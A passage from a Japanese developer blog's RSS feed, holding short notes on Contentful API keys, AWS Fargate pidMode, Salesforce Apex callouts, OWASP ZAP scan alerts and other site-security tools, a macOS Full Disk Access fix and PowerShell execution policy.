&lt;p&gt;&lt;strong&gt;まとめ&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;th&gt;Content Delivery API キー&lt;/th&gt;
&lt;th&gt;Content Management API トークン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;用途&lt;/td&gt;
&lt;td&gt;コンテンツ配信 API へのアクセス&lt;/td&gt;
&lt;td&gt;コンテンツ管理 API へのアクセス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;役割&lt;/td&gt;
&lt;td&gt;公開されたコンテンツの取得&lt;/td&gt;
&lt;td&gt;コンテンツの管理 (作成、更新、削除など)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アクセス権&lt;/td&gt;
&lt;td&gt;読み取り専用&lt;/td&gt;
&lt;td&gt;読み取り/書き込み&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;セキュリティ&lt;/td&gt;
&lt;td&gt;比較的低い&lt;/td&gt;
&lt;td&gt;非常に高い&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;注意点&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Wordpress: 脆弱性</title><link>https://hdknr.github.io/blogs/posts/2024/10/wordpress-%E8%84%86%E5%BC%B1%E6%80%A7/</link><pubDate>Mon, 14 Oct 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/10/wordpress-%E8%84%86%E5%BC%B1%E6%80%A7/</guid><description>&lt;h1 id="wordpress脆弱性"&gt;Wordpress脆弱性&lt;/h1&gt;
&lt;h2 id="advanced-custom-fields-acf"&gt;Advanced Custom Fields (ACF)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rocket-boys.co.jp/7886/"&gt;https://rocket-boys.co.jp/7886/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: ECS: Fargate: pidMode</title><link>https://hdknr.github.io/blogs/posts/2024/09/aws-ecs-fargate-pidmode/</link><pubDate>Mon, 02 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/aws-ecs-fargate-pidmode/</guid><description>&lt;h1 id="aws-ecs-fargate-pidmode"&gt;AWS ECS Fargate: pidMode&lt;/h1&gt;
&lt;p&gt;AWS Fargateの&lt;code&gt;pidMode&lt;/code&gt;は、タスク内のコンテナ間でプロセスID（PID）名前空間を共有するための設定です。これにより、同じタスク内のコンテナが互いのプロセス情報にアクセスできるようになります¹²。&lt;/p&gt;
&lt;p&gt;例えば、モニタリング用のサイドカーコンテナが、他のコンテナのプロセス情報を取得して監視することが可能になります。Fargateでは&lt;code&gt;pidMode=task&lt;/code&gt;のみがサポートされており、これを有効にすると、タスク内のすべてのコンテナが同じPID名前空間を共有します²。&lt;/p&gt;
&lt;p&gt;この機能は、特にセキュリティや監視の観点から便利で、プロセスの監視やシステムコールのトラッキングが容易になります¹。&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/9/2
(1) 【アップデート】ECS on Fargateでサイドカーからプロセス &amp;hellip;. &lt;a href="https://dev.classmethod.jp/articles/ecs-on-fargate-support-shared-pid-namespace/"&gt;https://dev.classmethod.jp/articles/ecs-on-fargate-support-shared-pid-namespace/&lt;/a&gt;.
(2) AWS Fargate がプロセス ID 名前空間の共有とカーネルパラメータ &amp;hellip;. &lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/"&gt;https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/&lt;/a&gt;.
(3) [ECS/Fargate] [request]: Support pidMode: task on Fargate #676. &lt;a href="https://github.com/aws/containers-roadmap/issues/676"&gt;https://github.com/aws/containers-roadmap/issues/676&lt;/a&gt;.
(4) 【アップデート】ECS on FargateがsystemControlsをサポートし &amp;hellip;. &lt;a href="https://dev.classmethod.jp/articles/ecs-on-fargate-support-systemcontrols/"&gt;https://dev.classmethod.jp/articles/ecs-on-fargate-support-systemcontrols/&lt;/a&gt;.
(5) Amazon ECS on AWS Fargate - Datadog Infrastructure and &amp;hellip;. &lt;a href="https://docs.datadoghq.com/integrations/ecs_fargate/"&gt;https://docs.datadoghq.com/integrations/ecs_fargate/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pidMode&lt;/code&gt;を指定しなくてもサイドカー構成を取ることは可能です。&lt;code&gt;pidMode&lt;/code&gt;は、特定のユースケースでプロセスID名前空間を共有するためのオプションですが、サイドカーコンテナ自体は他の方法で連携できます。&lt;/p&gt;
&lt;p&gt;例えば、サイドカーコンテナは以下のような方法で他のコンテナと連携します：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ネットワーク共有&lt;/strong&gt;: 同じタスク内のコンテナはデフォルトで同じネットワーク名前空間を共有するため、互いに通信できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ボリューム共有&lt;/strong&gt;: データを共有するために、同じボリュームをマウントすることができます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;環境変数や設定ファイル&lt;/strong&gt;: コンテナ間で設定情報を共有するために使用できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの方法を組み合わせることで、&lt;code&gt;pidMode&lt;/code&gt;を使用しなくても効果的なサイドカー構成を実現できます。&lt;/p&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/"&gt;AWS Fargate がプロセス ID 名前空間の共有とカーネルパラメータ構成のサポートを開始&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/shun198/items/e06ca36464cc054a6278"&gt;Terraformを使ってAWSのECS Fargate(Django+Nginx)を構築しよう！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AppExchange</title><link>https://hdknr.github.io/blogs/posts/2024/08/appexchange/</link><pubDate>Mon, 19 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/appexchange/</guid><description>&lt;h1 id="appexchange"&gt;AppExchange&lt;/h1&gt;
&lt;h2 id="isv--oem-パートナー"&gt;ISV / OEM パートナー&lt;/h2&gt;
&lt;p&gt;組織&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;パートナービジネス組織（Partner Business Org で PBO とも呼ばれる）&lt;/li&gt;
&lt;li&gt;パッケージ開発組織&lt;/li&gt;
&lt;li&gt;スクラッチ組織（Scratch Org）&lt;/li&gt;
&lt;li&gt;Trialforce ソース組織（Trialforce Source Org で TSO とも呼ばれる）&lt;/li&gt;
&lt;li&gt;顧客組織&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="開発"&gt;開発&lt;/h2&gt;
&lt;h3 id="lma"&gt;LMA&lt;/h3&gt;
&lt;h3 id="環境ハブ"&gt;環境ハブ&lt;/h3&gt;
&lt;h3 id="セキュリティレビュー"&gt;セキュリティレビュー&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Salesforce のアプリケーション審査&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;手順:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;準備&lt;/li&gt;
&lt;li&gt;申請&lt;/li&gt;
&lt;li&gt;注文書と手順書&lt;/li&gt;
&lt;li&gt;公開&lt;/li&gt;
&lt;li&gt;年次更新&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mavensmate"&gt;MavensMate&lt;/h2&gt;
&lt;h2 id="lightning-experience"&gt;Lightning Experience&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://developer.salesforce.com/docs/atlas.ja-jp.lightning.meta/lightning/intro_framework.htm"&gt;Lightning コンポーネントフレームワークとは?&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.salesforce.com/jp/solutions/appexchange/components/"&gt;Lightning コンポーネント: コードを一行も記述することなくビジネスアプリを開発できます。&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="aura-コンポーネント"&gt;&lt;a href="https://developer.salesforce.com/docs/atlas.ja-jp.252.0.lightning.meta/lightning/intro_components.htm"&gt;Aura コンポーネント&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;コンポーネント:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Visualforce&lt;/li&gt;
&lt;li&gt;Aura(いわゆるオーラ) (Aura コンポーネントの中から LWC を呼び出すことはできるが、LWC の中から Aura コンポーネントを呼び出すことはできない。)&lt;/li&gt;
&lt;li&gt;Lightning Web Conponent(LWC)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="外部のデータソースを呼ぶには"&gt;外部のデータソースを呼ぶには&lt;/h2&gt;
&lt;h3 id="apex"&gt;Apex&lt;/h3&gt;
&lt;p&gt;Aura コンポーネントから Salesforce 以外の外部データを呼び出すには、以下の手順を参考にしてください：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apex コントローラーを使用する&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apex クラスを作成し、外部 API を呼び出すメソッドを定義します。例えば、&lt;code&gt;HttpRequest&lt;/code&gt;と&lt;code&gt;HttpResponse&lt;/code&gt;クラスを使用して外部 API にリクエストを送信し、レスポンスを処理します。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-apex" data-lang="apex"&gt;public class ExternalDataController {
@AuraEnabled
public static String getExternalData() {
Http http = new Http();
HttpRequest request = new HttpRequest();
request.setEndpoint(&amp;#39;https://api.example.com/data&amp;#39;);
request.setMethod(&amp;#39;GET&amp;#39;);
HttpResponse response = http.send(request);
return response.getBody();
}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Aura コンポーネントで Apex メソッドを呼び出す&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>サイトセキュリティチェック</title><link>https://hdknr.github.io/blogs/posts/2024/07/%E3%82%B5%E3%82%A4%E3%83%88%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF/</link><pubDate>Mon, 22 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/%E3%82%B5%E3%82%A4%E3%83%88%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF/</guid><description>&lt;h1 id="サイトセキュリティチェック"&gt;サイトセキュリティチェック&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Mozilla: &lt;a href="https://observatory.mozilla.org/"&gt;https://observatory.mozilla.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;トレンドマイクロ: &lt;a href="https://global.sitesafety.trendmicro.com/?cc=jp"&gt;https://global.sitesafety.trendmicro.com/?cc=jp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Google: &lt;a href="https://www.virustotal.com/gui/home/upload"&gt;https://www.virustotal.com/gui/home/upload&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="owasp-zap"&gt;OWASP Zap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/y640/articles/430e99504cd275"&gt;Docker 版 OWASP ZAP を M1 Mac で動かす。&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;問題:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10010/"&gt;Cookie No HttpOnly Flag&lt;/a&gt; [10010]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10015/"&gt;Re-examine Cache-control Directives&lt;/a&gt; [10015]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10017/"&gt;Cross-Domain JavaScript Source File Inclusion&lt;/a&gt; [10017]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10020-1/"&gt;Missing Anti-clickjacking Header&lt;/a&gt; [10020]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10021/"&gt;X-Content-Type-Options Header Missing&lt;/a&gt; [10021]&lt;/li&gt;
&lt;li&gt;: [Information Disclosure - Suspicious Comments]&lt;a href="10027"&gt;https://www.zaproxy.org/docs/alerts/10027/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;: [Cookie Poisoning]&lt;a href="10029"&gt;https://www.zaproxy.org/docs/alerts/10029/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10031/"&gt;User Controllable HTML Element Attribute (Potential XSS)&lt;/a&gt; [10031]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10035/"&gt;Strict-Transport-Security Header Not Set&lt;/a&gt; [10035]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10038/"&gt;Content Security Policy (CSP) Header Not Set&lt;/a&gt; [10038]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10040/"&gt;Secure Pages Include Mixed Content&lt;/a&gt; [10040]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10049/"&gt;Storable and Cacheable Content&lt;/a&gt; [10049]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10054/"&gt;Cookie without SameSite Attribute&lt;/a&gt; [10054]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10063/"&gt;Permissions Policy Header Not Set&lt;/a&gt; [10063]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10096/"&gt;Timestamp Disclosure - Unix&lt;/a&gt; [10096]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10109/"&gt;Modern Web Application&lt;/a&gt; [10109] (対応しなくてもよい)&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10110/"&gt;Dangerous JS Functions&lt;/a&gt; [10110]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10112/"&gt;Session Management Response Identified&lt;/a&gt; [10112]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/10202/"&gt;Absence of Anti-CSRF Tokens&lt;/a&gt; [10202]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/90003/"&gt;Sub Resource Integrity Attribute Missing&lt;/a&gt; [90003]&lt;/li&gt;
&lt;li&gt;: &lt;a href="https://www.zaproxy.org/docs/alerts/90011/"&gt;Charset Mismatch&lt;/a&gt; [90011]&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="virustotal"&gt;VIRUSTOTAL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/gui/home/upload"&gt;https://www.virustotal.com/gui/home/upload&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="suuri"&gt;SUURI&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://sitecheck.sucuri.net/"&gt;https://sitecheck.sucuri.net/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Swiper</title><link>https://hdknr.github.io/blogs/posts/2024/07/swiper/</link><pubDate>Mon, 15 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/swiper/</guid><description>&lt;h1 id="swiper"&gt;swiper&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/nolimits4web/swiper"&gt;https://github.com/nolimits4web/swiper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://b-risk.jp/blog/2022/04/swiper/"&gt;【最新】Swiper の使い方・カスタマイズを解説！サンプルやオプション 15 個付き ー基礎から応用までー&lt;/a&gt; (Swiper v8.1.4)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005554.html"&gt;JVNDB-2021-005554 swiper における脆弱性&lt;/a&gt; (6.5.1)(情報を取得される、情報を改ざんされる、およびサービス運用妨害 (DoS) 状態にされる可能性があります。)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: Billing</title><link>https://hdknr.github.io/blogs/posts/2024/04/aws-billing/</link><pubDate>Mon, 08 Apr 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/04/aws-billing/</guid><description>&lt;h1 id="aws-billing"&gt;AWS: Billing&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/aws-1st-step-new-era-reiwa/"&gt;AWS アカウントを作ったら最初にやるべきこと ～令和元年版～&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/tmknom/items/303db2d1d928db720888"&gt;AWS アカウントを取得したら速攻でやっておくべき初期設定まとめ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.nri-net.com/entry/aws_first_security"&gt;AWS アカウント作成時にやるべきこと&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/cost-check-point/"&gt;無駄なコストを省こう！AWS で消し忘れを防止するためにチェックすべき７つのポイント&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>AWS: SES</title><link>https://hdknr.github.io/blogs/posts/2024/01/aws-ses/</link><pubDate>Wed, 31 Jan 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/01/aws-ses/</guid><description>&lt;h1 id="aws-ses-スパム"&gt;AWS: SES: スパム&lt;/h1&gt;
&lt;p&gt;In a move to safeguard user inboxes,
Gmail [1] and Yahoo Mail [2] announced a new set of requirements for senders.
Effective February 2024,
the new requirements affect email senders who distribute over 5,000 bulk messages per day
or have &amp;gt;0.3% of messages reported as spam.
Failure to comply with new requirements may result in Gmail and Yahoo rejecting message delivery to their customers.&lt;/p&gt;
&lt;p&gt;Your account has at least one email address identity sending email without a matching verified domain identity.
This may result in reduced ability to send to some email recipients.&lt;/p&gt;</description></item><item><title>macOS: ls: .: Operation not permitted</title><link>https://hdknr.github.io/blogs/posts/2023/05/macos-ls-.-operation-not-permitted/</link><pubDate>Tue, 02 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/macos-ls-.-operation-not-permitted/</guid><description>&lt;h2 id="macos-ls--operation-not-permitted"&gt;macOS: ls: .: Operation not permitted&lt;/h2&gt;
&lt;p&gt;このエラーは、macOSの&lt;strong&gt;セキュリティ機能&lt;/strong&gt;によって、ターミナルのコマンドが&lt;strong&gt;特定のディレクトリ&lt;/strong&gt;に対して&lt;strong&gt;制限されている&lt;/strong&gt;可能性があります¹²。例えば、DownloadsやDocumentsなどのディレクトリは、プライバシー保護のためにアクセス権が制限されています²。&lt;/p&gt;
&lt;p&gt;この場合、&lt;strong&gt;システム環境設定&lt;/strong&gt;から、ターミナルに対して&lt;strong&gt;フルディスクアクセス&lt;/strong&gt;を許可する必要があります¹²。具体的な手順は以下の通りです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;システム環境設定を開きます。&lt;/li&gt;
&lt;li&gt;セキュリティとプライバシーを選択します。&lt;/li&gt;
&lt;li&gt;プライバシータブをクリックします。&lt;/li&gt;
&lt;li&gt;左側のメニューからフルディスクアクセスを選択します。&lt;/li&gt;
&lt;li&gt;鍵のアイコンをクリックしてロックを解除します。&lt;/li&gt;
&lt;li&gt;パスワードを入力します。&lt;/li&gt;
&lt;li&gt;+ボタンをクリックしてターミナルを追加します。&lt;/li&gt;
&lt;li&gt;ターミナルを再起動します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これで、lsコマンドなどが正常に動作するはずです。試してみてください。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) macOS の「Operation not permitted」を回避する【du/ls/mv/cp &amp;hellip;. &lt;a href="https://qiita.com/KEINOS/items/0366f1c281b574a79cfb"&gt;https://qiita.com/KEINOS/items/0366f1c281b574a79cfb&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) ターミナルでコマンド実行時に「Operation not permitted」が出 &amp;hellip;. &lt;a href="https://qiita.com/Tatsu88/items/f50f850b0c8f4a2c1bf2"&gt;https://qiita.com/Tatsu88/items/f50f850b0c8f4a2c1bf2&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) unix - ls: Operation not Permitted - Stack Overflow. &lt;a href="https://stackoverflow.com/questions/25717501/ls-operation-not-permitted"&gt;https://stackoverflow.com/questions/25717501/ls-operation-not-permitted&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(4) 突然の「Operation not permitted」-Dockerが採用する &amp;hellip;. &lt;a href="https://www.creationline.com/lab/46861"&gt;https://www.creationline.com/lab/46861&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="設定--プライバシーとセキュリティ"&gt;設定 &amp;gt; プライバシーとセキュリティ&lt;/h3&gt;
&lt;img width="705" alt="prvacy" src="https://user-images.githubusercontent.com/104647/235813294-f71d2e00-b941-407a-8c6e-8057ff41bdd6.png"&gt;
&lt;h3 id="-フルディスクアクセス"&gt;&amp;gt; フルディスクアクセス&lt;/h3&gt;
&lt;img width="711" alt="disk" src="https://user-images.githubusercontent.com/104647/235813298-e3ed55da-1c15-4534-ab44-6d698bbcc0df.png"&gt;</description></item><item><title>PowerShell</title><link>https://hdknr.github.io/blogs/posts/2015/08/powershell/</link><pubDate>Sat, 01 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/powershell/</guid><description>&lt;p&gt;PowerShell&lt;/p&gt;
&lt;h2 id="実行権限"&gt;実行権限&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.atmarkit.co.jp/ait/articles/0805/16/news139.html"&gt;WindowsでPowerShellスクリプトの実行セキュリティポリシーを変更する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PS C:\WINDOWS\system32&amp;gt; Get-ExecutionPolicy
RemoteSigned
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;PS C:\WINDOWS\system32&amp;gt; Set-ExecutionPolicy Unrestricted
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;Set-ExecutionPolicy : Windows PowerShell により実行ポリシーは正常に更新されましたが、設定は範囲がより明確に定義されたポリシーで上書きされました。この上書きにより、シェルで現在有効な実行ポリシー RemoteSigned が保持されます。
実行ポリシーの設定を表示するには、「Get-ExecutionPolicy -List」と入力してください。詳細については、&amp;#34;Get-Help Set-ExecutionPolicy&amp;#34; を参照してください。
発生場所 行:1 文字:1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (:) [Set-ExecutionPolicy], SecurityException
+ FullyQualifiedErrorId : ExecutionPolicyOverride,Microsoft.PowerShell.Commands.SetExecutionPolicyCommand
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;PS C:\WINDOWS\system32&amp;gt; Get-ExecutionPolicy -List
Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Undefined
CurrentUser RemoteSigned
LocalMachine Unrestricted
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://stackoverflow.com/questions/27753917/how-successfully-change-execution-policy-and-enable-execution-of-powershell-scri"&gt;How successfully change Execution policy and enable execution of Powershell scripts&lt;/a&gt;&lt;/p&gt;</description></item></channel></rss>